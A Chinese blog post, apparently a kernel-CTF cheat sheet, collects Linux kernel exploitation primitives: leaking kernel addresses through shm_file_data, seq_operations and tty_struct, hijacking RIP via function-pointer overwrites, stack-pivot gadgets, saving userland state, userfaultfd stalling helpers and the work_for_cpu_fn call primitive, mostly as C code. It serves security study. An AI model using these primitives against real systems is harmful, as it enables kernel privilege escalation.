Linux Kernel Pwn常用gadget

shm_file_data

size: 0x20 (kmalloc-32)

ns, vm_ops泄漏kernel_base

file泄漏kernel堆地址

struct shm_file_data
{
	int id;
	struct ipc_namespace *ns;
	struct file *file;
	const struct vm_operations_struct *vm_ops;
};

使用方法:

int shmid_open()
{
	int shmid;
	if ((shmid=shmget(IPC_PRIVATE,100,0600))==-1)
	{
		puts("[X] Shmget Error");
		exit(0);
	}
	char *shmaddr=shmat(shmid,NULL,0);
	if (shmaddr==(void*)-1)
	{
		puts("[X] Shmat Error");
		exit(0);
	}
	return shmid;
}

seq_operations

size: 0x20 (kmalloc-32)

四个指针都可以泄漏kernel_base

更改start可以劫持RIP

struct seq_operations
{
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};

使用方法:

int seq_open()
{
	int seq;
	if ((seq=open("/proc/self/stat", O_RDONLY))==-1)
	{
		puts("[X] Seq Open Error");
		exit(0);
	}
	return seq;
}

劫持RIP:

read(seq,ptr,0);

劫持发生于seq_read处

rax=start
r15=&ptr

mov qword ptr [rsp], rax ;
ret ;

p = m->op->start(m, &m->index); /// fs/seq_file.c#L203

实现ROP所需要的gadgets:

0x0000000000000000 : xchg esp, eax ; ret ;
0x0000000000000000 : xchg rsp, r15 ; ret ;
0x0000000000000000 : xchg esp, r15d ; ret ;

tty_struct

size: 0x2e0 (kmalloc-1024)

tty_operations *ops可以泄漏kernel_base

__int64_t ptm_unix98_ops_addr=tty_buf[3];
if ((ptm_unix98_ops_addr&0xFFF)==0x320) ptm_unix98_ops_addr+=0x120;

劫持struct tty_operations *ops可以控制RIP

struct tty_struct
{
	int	magic;
	struct kref kref;
	struct device *dev;
	struct tty_driver *driver;
	const struct tty_operations *ops;
	int index;

	/* Protects ldisc changes: Lock tty not pty */
	struct ld_semaphore ldisc_sem;
	struct tty_ldisc *ldisc;

	struct mutex atomic_write_lock;
	struct mutex legacy_mutex;
	struct mutex throttle_mutex;
	struct rw_semaphore termios_rwsem;
	struct mutex winsize_mutex;
	spinlock_t ctrl_lock;
	spinlock_t flow_lock;
	/* Termios values are protected by the termios rwsem */
	struct ktermios termios, termios_locked;
	struct termiox *termiox;	/* May be NULL for unsupported */
	char name[64];
	struct pid *pgrp;		/* Protected by ctrl lock */
	struct pid *session;
	unsigned long flags;
	int count;
	struct winsize winsize;		/* winsize_mutex */
	unsigned long stopped:1,	/* flow_lock */
		      flow_stopped:1,
		      unused:BITS_PER_LONG - 2;
	int hw_stopped;
	unsigned long ctrl_status:8,	/* ctrl_lock */
		      packet:1,
		      unused_ctrl:BITS_PER_LONG - 9;
	unsigned int receive_room;	/* Bytes free for queue */
	int flow_change;

	struct tty_struct *link;
	struct fasync_struct *fasync;
	wait_queue_head_t write_wait;
	wait_queue_head_t read_wait;
	struct work_struct hangup_work;
	void *disc_data;
	void *driver_data;
	spinlock_t files_lock;		/* protects tty_files list */
	struct list_head tty_files;

#define N_TTY_BUF_SIZE 4096

	int closing;
	unsigned char *write_buf;
	int write_cnt;
	/* If the tty has a pending do_SAK, queue it here - akpm */
	struct work_struct SAK_work;
	struct tty_port *port;
} __randomize_layout;

tty_operations *ops结构体:

struct tty_operations
{
	struct tty_struct * (*lookup)(struct tty_driver *driver,
			struct file *filp, int idx);
	int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
	void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
	int  (*open)(struct tty_struct * tty, struct file * filp);
	void (*close)(struct tty_struct * tty, struct file * filp);
	void (*shutdown)(struct tty_struct *tty);
	void (*cleanup)(struct tty_struct *tty);
	int  (*write)(struct tty_struct * tty,
		      const unsigned char *buf, int count);
	int  (*put_char)(struct tty_struct *tty, unsigned char ch);
	void (*flush_chars)(struct tty_struct *tty);
	int  (*write_room)(struct tty_struct *tty);
	int  (*chars_in_buffer)(struct tty_struct *tty);
	int  (*ioctl)(struct tty_struct *tty,
		    unsigned int cmd, unsigned long arg);
	long (*compat_ioctl)(struct tty_struct *tty,
			     unsigned int cmd, unsigned long arg);
	void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
	void (*throttle)(struct tty_struct * tty);
	void (*unthrottle)(struct tty_struct * tty);
	void (*stop)(struct tty_struct *tty);
	void (*start)(struct tty_struct *tty);
	void (*hangup)(struct tty_struct *tty);
	int (*break_ctl)(struct tty_struct *tty, int state);
	void (*flush_buffer)(struct tty_struct *tty);
	void (*set_ldisc)(struct tty_struct *tty);
	void (*wait_until_sent)(struct tty_struct *tty, int timeout);
	void (*send_xchar)(struct tty_struct *tty, char ch);
	int (*tiocmget)(struct tty_struct *tty);
	int (*tiocmset)(struct tty_struct *tty,
			unsigned int set, unsigned int clear);
	int (*resize)(struct tty_struct *tty, struct winsize *ws);
	int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
	int (*get_icount)(struct tty_struct *tty,
				struct serial_icounter_struct *icount);
	int  (*get_serial)(struct tty_struct *tty, struct serial_struct *p);
	int  (*set_serial)(struct tty_struct *tty, struct serial_struct *p);
	void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
	int (*poll_init)(struct tty_driver *driver, int line, char *options);
	int (*poll_get_char)(struct tty_driver *driver, int line);
	void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
	int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

使用方法:

int get_tty_struct()
{
	int ptmx_fd=open("/dev/ptmx",O_RDWR);
	if (ptmx_fd<=0) printf("[X] Ptmx open failed");
	read(fd,tty_buf,0);
	if (tty_buf[0]==0x100005401)
	{
		puts("[+] Ptmx struct got");
		return ptmx_fd;
	}
	return 0;
}

save_state

保存用户态寄存器

void save_state()
{
	asm(
		"movq %%cs, %0;"
		"movq %%ss, %1;"
		"movq %%rsp, %3;"
		"pushfq;"
		"pop %2;"
		: "=r"(user_cs),"=r"(user_ss),"=r"(user_eflag),"=r"(user_rsp)
		:
		: "memory"
	);
}

register_userfault

缺页注册函数:

void register_userfault(void *fault_page, void *user_stuck_handler,int filedes_out,void *func,void *func_arg)
{
	struct arg
	{
		uint64_t uffd;
		int filedes_out;
		void (*func)(void *,void *);
		void *func_arg;
	};
	pthread_t thr;
	struct uffdio_api ua;
	struct uffdio_register ur;
	uint64_t uffd=syscall(__NR_userfaultfd,O_CLOEXEC|O_NONBLOCK);
	struct arg *handler_arg=malloc(sizeof(struct arg));
	handler_arg->uffd=uffd;
	handler_arg->filedes_out=filedes_out;
	handler_arg->func=func;
	handler_arg->func_arg=func_arg;
	ua.api=UFFD_API;
	ua.features=0;
	if (ioctl(uffd,UFFDIO_API,&ua) == -1)
	{
		puts("[X] ioctl-UFFDIO_API Error");
		exit(0);
	}
	ur.range.start=(unsigned long)fault_page;
	ur.range.len=PAGE_SIZE;
	ur.mode=UFFDIO_REGISTER_MODE_MISSING;
	if (ioctl(uffd,UFFDIO_REGISTER,&ur)==-1)
	{
		puts("[X] ioctl-UFFDIO_REGISTER Error");
	}
	int s=pthread_create(&thr,NULL,user_stuck_handler,(void *)handler_arg);
	if (s!=0)
	{
		puts("[X] Pthread Create Error");
		exit(0);
	}
}

缺页处理函数:

void *user_stuck_handler(void *handler_arg)
{
	struct arg
	{
		uint64_t uffd;
		int filedes_out;
		void (*func)(void *,void *);
		void *func_arg;
	};
	struct uffd_msg msg;
	unsigned long uffd=((struct arg *)handler_arg)->uffd;
	puts("[+] Leak_handler Created");

	char con_msg; int filedes_out=((struct arg *)handler_arg)->filedes_out;
	read(filedes_out,&con_msg,0x1);
	if (con_msg!=*MSG_CONTINUE)
	{
		puts("[X] Stuck Page Continue Msg Error");
		exit(0);
	}

	puts("[+] Restore Stuck Begin");
	struct pollfd pollfd;
	int nready;
	pollfd.fd=uffd;
	pollfd.events=POLLIN;
	nready=poll(&pollfd,1,-1);
	if (nready!=1)
	{
		puts("[X] Wrong Pool Return Value");
		exit(0);
	}
	nready=read(uffd,&msg,sizeof(msg));
	if (nready<=0)
	{
		puts("[X]Msg Error!!");
		exit(0);
	}
	char *page=(char*)mmap(NULL,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
	if (page==MAP_FAILED)
	{
		puts("[X] Mmap Page Error!!");
		exit(0);
	}
	struct uffdio_copy uc;
	memset(page,0,sizeof(page));
	void (*func)(void *,void *)=((struct arg *)handler_arg)->func;
	void *func_arg=((struct arg *)handler_arg)->func_arg;
	if (func!=NULL) func(page,func_arg);
	free(handler_arg);
	uc.src=(unsigned long)page;
	uc.dst=(unsigned long)msg.arg.pagefault.address&~(PAGE_SIZE-1);;
	uc.len=PAGE_SIZE;
	uc.mode=0;
	uc.copy=0;
	ioctl(uffd,UFFDIO_COPY,&uc);
	puts("[-] User Stuck Handler Done!!");
}

work_for_cpu_fn

struct work_for_cpu {
	struct work_struct work;
	long (*fn)(void *);
	void *arg;
	long ret;
};

struct work_struct {
	atomic_long_t data;
	struct list_head entry;
	work_func_t func;
#ifdef CONFIG_LOCKDEP
	struct lockdep_map lockdep_map;
#endif
};

static void work_for_cpu_fn(struct work_struct *work)
{
	struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);
	wfc->ret = wfc->fn(wfc->arg);
}

使用方法: 

*(a1+0x30)=(*(void (*)(void *))(a1+0x20)(*(a1+0x28))
// fake assemble
mov rcx, rdi;
mov rdi, qword ptr [rdi+0x28] ;
call qword ptr [rcx+0x20] ;
mov qword ptr [rcx+0x30], rax ;
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇